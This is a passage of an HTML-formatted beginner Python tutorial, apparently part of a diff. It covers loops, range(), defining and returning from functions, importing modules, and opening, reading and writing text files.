from the user to add and stop, when the user enters “stop”. In this case, the break statement can be used to end the infinite loop when the user input equals “stop”.</p> +<blockquote> +<p>Using the break statement outside of a loop causes an error.</p> +</blockquote> +<p><code>continue</code></p> +<p>Another statement that can be used within loops is continue. Unlike break, continue jumps back to the top of the loop, rather than stopping it. Basically, the continue statement stops the current iteration and continues with the next one.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>i </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">0 +</span><span style="color:#fa5c4b;">while </span><span>i</span><span style="color:#fe8019;">&lt;</span><span style="color:#d3869b;">5</span><span>: +</span><span> i </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span> </span><span style="color:#fa5c4b;">if </span><span>i</span><span style="color:#fe8019;">==</span><span style="color:#d3869b;">3</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Skipping 3&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">continue +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span></code></pre> +<p>An example use case of continue: An airline ticketing system needs to calculate the total cost for all tickets purchased. The tickets for children under the age of 1 are free. We can use a while loop to iterate through the list of passengers and calculate the total cost of their tickets. Here, the continue statement can be used to skip the children.</p> +<blockquote> +<p>Using the continue statement outside of a loop causes an error.</p> +</blockquote> +<h2 id="for-loop">for Loop</h2> +<p>The for loop is used to iterate over a given sequence, such as lists or strings.</p> +<p>The code below outputs each item in the list and adds an exclamation mark at the end:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&#39;hello&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;world&#39;</span><span>] +</span><span style="color:#fa5c4b;">for </span><span>word </span><span style="color:#fa5c4b;">in </span><span>words: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(word </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&#39;!&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>In the code above, the word variable represents the corresponding item of the list in each iteration of the loop. During the 1st iteration, word is equal to “hello”, and during the 2nd iteration it’s equal to “world”.</p> +</blockquote> +<p>The for loop can be used to iterate over strings.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">str </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;testing for loops&quot; +</span><span>count </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">0 +</span><span style="color:#fa5c4b;">for </span><span>x </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">str</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if</span><span>(x </span><span style="color:#fe8019;">== </span><span style="color:#b8bb26;">&#39;t&#39;</span><span>): +</span><span> count </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(count) +</span></code></pre> +<p>The code above defines a count variable, iterates over the string and calculates the count of ‘t’ letters in it. During each iteration, the x variable represents the current letter of the string. The count variable is incremented each time the letter ‘t’ is found, thus, at the end of the loop it represents the number of ‘t’ letters in the string. &gt;Similar to while loops, the break and continue statements can be used in for loops, to stop the loop or jump to the next iteration. +for vs while</p> +<p>Both, for and while loops can be used to execute a block of code for multiple times.</p> +<p>It is common to use the for loop when the number of iterations is fixed. For example, iterating over a fixed list of items in a shopping list.</p> +<p>The while loop is used in cases when the number of iterations is not known and depends on some calculations and conditions in the code block of the loop. For example, ending the loop when the user enters a specific input in a calculator program.</p> +<blockquote> +<p>Both, for and while loops can be used to achieve the same results, however, the for loop has cleaner and shorter syntax, making it a better choice in most cases.</p> +</blockquote> +<h3 id="range">Range</h3> +<p>The <code>range()</code> function returns a sequence of numbers. By default, it starts from 0, increments by 1 and stops before the specified number.</p> +<p>The code below generates a list containing all of the integers, up to 10.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span></code></pre> +<blockquote> +<p>In order to output the range as a list, we need to explicitly convert it to a list, using the list() function.</p> +</blockquote> +<p>If range is called with one argument, it produces an object with values from 0 to that argument. If it is called with two arguments, it produces values from the first to the second. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(numbers) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">) </span><span style="color:#fe8019;">== </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>Remember, the second argument is not included in the range, so range(3, 8) will not include the number 8.</p> +</blockquote> +<p>range can have a third argument, which determines the interval of the sequence produced, also called the step.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>numbers </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(numbers) +</span></code></pre> +<blockquote> +<p>We can also create list of decreasing numbers, using a negative number as the third argument, for example list(range(20, 5, -2)).</p> +</blockquote> +<h2 id="for-loops">for Loops</h2> +<p>The for loop is commonly used to repeat some code a certain number of times. This is done by combining for loops with range objects.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;hello world!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You don’t need to call list on the range object when it is used in a for loop, because it isn’t being indexed, so a list isn’t required.</p> +</blockquote> +<h2 id="functions">Functions</h2> +<p>You’ve already used functions previously. Any statement that consists of a word followed by information in parentheses is a function call. Here are some examples that you’ve already seen:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hello world&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">12</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>The words in front of the parentheses are function names, and the comma-separated values inside the parentheses are function arguments.</p> +</blockquote> +<p>In addition to using pre-defined functions, you can create your own functions by using the def statement. Here is an example of a function named my_func. It takes no arguments, and prints “spam” three times. It is defined, and then called. The statements in the function are executed only when the function is called.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">my_func</span><span>(): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">my_func() +</span></code></pre> +<blockquote> +<p>The code block within every function starts with a colon (:) and is indented.</p> +</blockquote> +<p>You must define functions before they are called, in the same way that you must assign variables before using them.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fdf4c1;">hello() +</span><span> +</span><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">hello</span><span>(): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&#39;Hello world&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<h3 id="arguments">Arguments</h3> +<p>All the function definitions we’ve looked at so far have been functions of zero arguments, which are called with empty parentheses. However, most functions take arguments. The example below defines a function that takes one argument:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">print_with_exclamation</span><span>(</span><span style="color:#fdf4c1;">word</span><span>): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(word </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;!&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">print_with_exclamation(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">print_with_exclamation(</span><span style="color:#b8bb26;">&quot;eggs&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">print_with_exclamation(</span><span style="color:#b8bb26;">&quot;python&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>As you can see, the argument is defined inside the parentheses.</p> +</blockquote> +<p>You can also define functions with more than one argument; separate them with commas.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">print_sum_twice</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x</span><span style="color:#fe8019;">+</span><span style="color:#fdf4c1;">y) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x</span><span style="color:#fe8019;">+</span><span style="color:#fdf4c1;">y) +</span><span> +</span><span style="color:#fdf4c1;">print_sum_twice(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>Function arguments can be used as variables inside the function definition. However, they cannot be referenced outside of the function’s definition. This also applies to other variables created inside a function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">function</span><span>(</span><span style="color:#fdf4c1;">variable</span><span>): +</span><span> variable </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(variable) +</span><span style="color:#fdf4c1;">function(</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(variable) +</span></code></pre> +<p>This code will throw an error because the variable is defined inside the function and can be referenced only there. &gt;Technically, parameters are the variables in a function definition, and arguments are the values put into parameters when functions are called. +Returning from Functions</p> +<p>Certain functions, such as int or str, return a value that can be used later. To do this for your defined functions, you can use the return statement.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">max</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fa5c4b;">if </span><span>x </span><span style="color:#fe8019;">&gt;=</span><span>y: +</span><span> </span><span style="color:#fa5c4b;">return </span><span>x +</span><span> </span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fa5c4b;">return </span><span>y +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">max</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">)) +</span><span>z </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">max</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(z) +</span></code></pre> +<blockquote> +<p>The return statement cannot be used outside of a function definition.</p> +</blockquote> +<p>Once you return a value from a function, it immediately stops being executed. Any code after the return statement will never happen. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">add_numbers</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> total </span><span style="color:#fe8019;">= </span><span>x </span><span style="color:#fe8019;">+ </span><span>y +</span><span> </span><span style="color:#fa5c4b;">return </span><span>total +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This won&#39;t be printed&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(add_numbers(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<p>Although they are created differently from normal variables, functions are just like any other kind of value. They can be assigned and reassigned to variables, and later referenced by those names.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">multiply</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fa5c4b;">return </span><span>x </span><span style="color:#fe8019;">* </span><span>y +</span><span>a </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">4 +</span><span>b </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span><span>operation </span><span style="color:#fe8019;">= </span><span>multiply +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(operation(a, b)) +</span></code></pre> +<blockquote> +<p>The example above assigned the function multiply to a variable operation. Now, the name operation can also be used to call the function.</p> +</blockquote> +<p>Functions can also be used as arguments of other functions.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">add</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fa5c4b;">return </span><span>x </span><span style="color:#fe8019;">+ </span><span>y +</span><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">do_twice</span><span>(</span><span style="color:#fdf4c1;">func</span><span>, </span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span style="color:#fa5c4b;">return </span><span style="color:#fdf4c1;">func(func(x, y), func(x, y)) +</span><span>a </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">5 +</span><span>b </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">10 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(do_twice(add, a, b)) +</span></code></pre> +<h2 id="modules">Modules</h2> +<p>Modules are pieces of code that other people have written to fulfill common tasks, such as generating random numbers, performing mathematical operations, etc.</p> +<p>The basic way to use a module is to add import module_name at the top of your code, and then using module_name.var to access functions and values with the name var in the module. For example, the following example uses the random module to generate random numbers:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">import </span><span>random +</span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)</span><span>: +</span><span> value </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">random.randint(</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(value) +</span></code></pre> +<blockquote> +<p>The code uses the randint function defined in the random module to print 5 random numbers in the range 1 to 6.</p> +</blockquote> +<p>There is another kind of import that can be used if you only need certain functions from a module. These take the form from module_name import var, and then var can be used as if it were defined normally in your code. For example, to import only the pi constant from the math module:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">from </span><span>math </span><span style="color:#fa5c4b;">import </span><span>pi +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pi) +</span></code></pre> +<p>Use a comma separated list to import multiple objects. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">from </span><span>math </span><span style="color:#fa5c4b;">import </span><span>pi, sqrt +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(sqrt(pi)) +</span></code></pre> +<blockquote> +<p><code>*</code> imports all objects from a module. For example: from math import *. This is generally discouraged, as it confuses variables in your code with variables in the external module.</p> +</blockquote> +<h2 id="the-standard-library">The standard library</h2> +<p>There are three main types of modules in Python, those you write yourself, those you install from external sources, and those that are preinstalled with Python. The last type is called the standard library, and contains many useful modules. Some of the standard library’s useful modules include string, re, datetime, math, random, os, multiprocessing, subprocess, socket, email, json, doctest, unittest, pdb, argparse and sys.</p> +<p>Tasks that can be done by the standard library include string parsing, data serialization, testing, debugging and manipulating dates, emails, command line arguments, and much more!</p> +<p>Some of the modules in the standard library are written in Python, and some are written in C. Most are available on all platforms, but some are Windows or Unix specific.</p> +<p>Many third-party Python modules are stored on the Python Package Index (PyPI). The best way to install these is using a program called pip. This comes installed by default with modern distributions of Python. If you don’t have it, it is easy to install online. Once you have it, installing libraries from PyPI is easy. Look up the name of the library you want to install, go to the command line (for Windows it will be the Command Prompt), and enter pip install library_name. Once you’ve done this, import the library and use it in your code.</p> +<p>Using pip is the standard way of installing libraries on most operating systems, but some libraries have prebuilt binaries for Windows. These are normal executable files that let you install libraries with a GUI the same way you would install other programs.</p> +<h2 id="files">Files</h2> +<p>You can use Python to read and write the contents of files. Text files are the easiest to manipulate. Before a file can be edited, it must be opened, using the open function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>myfile </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span></code></pre> +<blockquote> +<p>The argument of the open function is the path to the file. If the file is in the current working directory of the program, you can specify only its name.</p> +</blockquote> +<p>You can specify the mode used to open a file by applying a second argument to the open function. Sending “r” means open in read mode, which is the default. Sending “w” means write mode, for rewriting the contents of a file. Sending “a” means append mode, for adding new content to the end of the file.</p> +<p>Adding “b” to a mode opens it in binary mode, which is used for non-text files (such as image and sound files). For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;"># write mode +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="font-style:italic;color:#928374;"># read mode +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="font-style:italic;color:#928374;"># binary write mode +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;wb&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You can use the + sign with each of the modes above to give them extra access to files. For example, r+ opens the file for both reading and writing.</p> +</blockquote> +<p>Once a file has been opened and used, you should close it. This is done with the close method of the file object.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span style="font-style:italic;color:#928374;"># do stuff to the file +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>The contents of a file that has been opened in text mode can be read using the read method.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span>cont </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">file.read() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(cont) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>This will print all of the contents of the file “filename.txt”.</p> +<p>To read only a certain amount of a file, you can provide a number as an argument to the read function. This determines the number of bytes that should be read. You can make more calls to read on the same file object to read more of the file byte by byte. With no argument, read returns the rest of the file.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read(</span><span style="color:#d3869b;">16</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<blockquote> +<p>Just like passing no arguments, negative values will return the entire contents.</p> +</blockquote> +<p>After all contents in a file have been read, any attempts to read further from that file will return an empty string, because you are trying to read from the end of the file.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.read() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Re-reading&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>Result:</p> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>&gt;&gt;&gt; +</span><span>Re-reading +</span><span> +</span><span>Finished +</span><span>&gt;&gt;&gt; +</span></code></pre> +<p>To retrieve each line in a file, you can use the readlines method to return a list in which each element is a line in the file. For example:</p> +<p>file = open(“filename.txt”, “r”) print(file.readlines()) file.close()</p> +<p>Result:</p> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>&gt;&gt;&gt; +</span><span>[&#39;Line 1 text \n&#39;, &#39;Line 2 text \n&#39;, &#39;Line 3 text&#39;] +</span><span>&gt;&gt;&gt; +</span></code></pre> +<p>You can also use a for loop to iterate through the lines in the file:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fa5c4b;">for </span><span>line </span><span style="color:#fa5c4b;">in </span><span>file: +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(line) +</span><span> +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>Result:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fe8019;">&gt;&gt;&gt; +</span><span>Line </span><span style="color:#d3869b;">1 </span><span>text +</span><span> +</span><span>Line </span><span style="color:#d3869b;">2 </span><span>text +</span><span> +</span><span>Line </span><span style="color:#d3869b;">3 </span><span>text +</span><span style="color:#fe8019;">&gt;&gt;&gt; +</span></code></pre> +<p>In the output, the lines are separated by blank lines, as the print function automatically adds a new line at the end of its output.</p> +<p>To write to files you use the write method, which writes a string to the file. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.write(</span><span style="color:#b8bb26;">&quot;This has been written to a file&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<blockquote> +<p>The “w” mode will create a file, if it does not already exist.</p> +</blockquote> +<p>When a file is opened in write mode, the file’s existing content is deleted.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span 